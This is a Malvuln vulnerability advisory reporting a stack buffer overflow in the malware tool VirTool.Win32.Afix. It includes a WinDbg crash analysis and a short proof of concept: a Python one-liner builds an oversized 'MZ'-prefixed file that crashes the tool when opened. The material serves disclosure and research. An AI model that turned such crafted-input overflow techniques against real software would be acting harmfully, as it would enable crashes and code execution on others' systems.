Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c971e978198331bb0b56dc8b47f0b4b0.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: VirTool.Win32.Afix Vulnerability: Local Stack Buffer Overflow Description: VirTool.Win32.Afix By Zimenkov doesn't properly validate the files it opens. Therefore, opening a specially crafted (EXE) file triggers a stack buffer overflow overwriting EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution. Type: PE32 MD5: c971e978198331bb0b56dc8b47f0b4b0 Vuln ID: MVID-2021-0292 ASLR: False DEP: False Safe SEH: True Disclosure: 07/12/2021 Memory Dump: (1270.f6c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=c807d46a edx=00000001 esi=00000003 edi=00000003 eip=77dded3c esp=005fefdc ebp=005ff16c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202 ntdll!ZwWaitForMultipleObjects+0xc: 77dded3c c21400 ret 14h 0:000> .ecxr eax=41414141 ebx=00000001 ecx=c807d46a edx=00000001 esi=002e04d8 edi=004010a0 eip=00401259 esp=005ff91c ebp=43c23ad1 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 *** WARNING: Unable to verify checksum for VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe *** ERROR: Module load completed but symbols could not be loaded for VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x1259: 00401259 8b4528 mov eax,dword ptr [ebp+28h] ss:002b:43c23af9=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259 00401259 8b4528 mov eax,dword ptr [ebp+28h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 00401259 (VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x00001259) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 43c23af9 Attempt to read from address 43c23af9 PROCESS_NAME: VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 43c23af9 READ_ADDRESS: 43c23af9 FOLLOWUP_IP: VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259 00401259 8b4528 mov eax,dword ptr [ebp+28h] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000f6c BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 004014c9 to 00401259 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 005ff938 004014c9 004010a0 002e04d8 005ff964 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x1259 005ff95c 0040113e 005ff990 770ce0bb 002e04d8 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x14c9 005ff964 770ce0bb 002e04d8 00000111 00000196 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x113e 005ff990 770d8849 004010a0 002e04d8 00000111 user32!_InternalCallWinProc+0x2b 005ff9b4 770dacd3 00000111 00000196 0046051c user32!InternalCallWinProc+0x20 005ffa38 770bbf65 002e04d8 00000111 00000196 user32!UserCallDlgProcCheckWow+0x156 005ffa94 770bbe45 02f18540 00000000 00000111 user32!DefDlgProcWorker+0x115 005ffab4 770ce0bb 002e04d8 00000111 00000196 user32!DefDlgProcW+0x25 005ffae0 770d8849 77df92b0 002e04d8 00000111 user32!_InternalCallWinProc+0x2b 005ffb04 770db145 00000111 00000196 0046051c user32!InternalCallWinProc+0x20 005ffbd4 770da89c 77df92b0 00000000 00000111 user32!UserCallWinProcCheckWow+0x1be 005ffc40 770bb95b 02f18540 00000000 0046051c user32!SendMessageWorker+0x6ff 005ffc68 770d5493 002e04d8 00000111 00000196 user32!SendMessageW+0x5b 005ffc90 770d4dda 02f40a80 00000000 00000000 user32!xxxButtonNotifyParent+0x66 005ffcb8 770d4240 02705958 00000000 02f40a80 user32!xxxBNReleaseCapture+0x150 005ffd50 770d36c6 02f40a80 00000000 00000202 user32!ButtonWndProcWorker+0xad0 005ffd84 770ce0bb 0046051c 00000202 00000000 user32!ButtonWndProcA+0x56 005ffdb0 770d8849 770d3670 0046051c 00000202 user32!_InternalCallWinProc+0x2b 005ffdd4 770db145 00000202 00000000 0006006b user32!InternalCallWinProc+0x20 005ffea4 770c90dc 19ddfbc0 00007ff9 00000202 user32!UserCallWinProcCheckWow+0x1be 005fff10 770bb2ee 00000000 00402178 00402170 user32!DispatchMessageWorker+0x4ac 005fff40 770bb0cc 002e04d8 00402170 00402170 user32!IsDialogMessageW+0x17e 005fff6c 00401048 005fff94 0040105c 002e04d8 user32!IsDialogMessageA+0x13c 005fff94 77dd4a77 00331000 c0a87372 00000000 VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+0x1048 005fffdc 77dd4a47 ffffffff 77df9ea4 00000000 ntdll!__RtlUserThreadStart+0x2f 005fffec 00000000 00401000 00331000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259 FOLLOWUP_NAME: MachineOwner MODULE_NAME: VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0 IMAGE_NAME: VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_c0000005_VirTool.Win32.Afix.c971e978198331bb0b56dc8b47f0b4b0.exe!Unknown BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_VirTool_Win32_Afix_c971e978198331bb0b56dc8b47f0b4b0+1259 Exploit/PoC: 1) python -c "print('MZ'+'A'*10000)" > BOOM.exe 2) Open BOOM.exe in the vulnerable program Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).